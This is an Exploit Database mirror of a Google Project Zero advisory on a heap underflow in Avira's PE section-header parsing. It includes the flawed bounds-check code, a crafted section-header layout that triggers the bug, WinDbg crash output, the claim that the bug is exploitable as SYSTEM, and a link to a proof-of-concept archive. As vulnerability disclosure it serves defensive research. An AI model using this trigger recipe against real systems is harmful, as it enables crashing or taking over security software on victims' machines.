Avira – Heap Underflow Parsing PE Section Headers

• Exploit Database
• 96 阅读

• 作者： Google Security Research
  日期： 2016-03-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39600/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765   One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).   The code is doing something like:   if (Section->SizeOfRawData + Section->VirtualAddress < 8192) { buf = malloc(8192);   memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData); }     The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.   To reproduce this bug, create an executable with a section like this:   NAMERVAVSZ RAW_SZRAW_PTRnRELREL_PTR nLINE LINE_PTR FLAGS .textff003fff 1fff 1fff200 00 00 0---   With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData   (e58.2b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000 eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0 nv up ei pl nz na po nc cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010202 aecore!ave_proc+0x1fc2c: 7291545c f3a5rep movs dword ptr es:[edi],dword ptr [esi] 0:011> db esi 3578521941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578522941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578523941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578524941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578525941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578526941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578527941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 3578528941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA   I think it started writing to ptr - 8192, lets see what&apos;s there:   0:011> db edi - (0n8192 - (ecx * 4)) 41293fdc00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41...AAAAAAAAAAAAA 41293fec41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 41293ffc41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??AAAA???????????? 4129400c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 4129401c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 4129402c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 4129403c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 4129404c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??????????????????   Yes!   Without page heap, you should get heap corruption, probably writing to 0x41414141.     Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip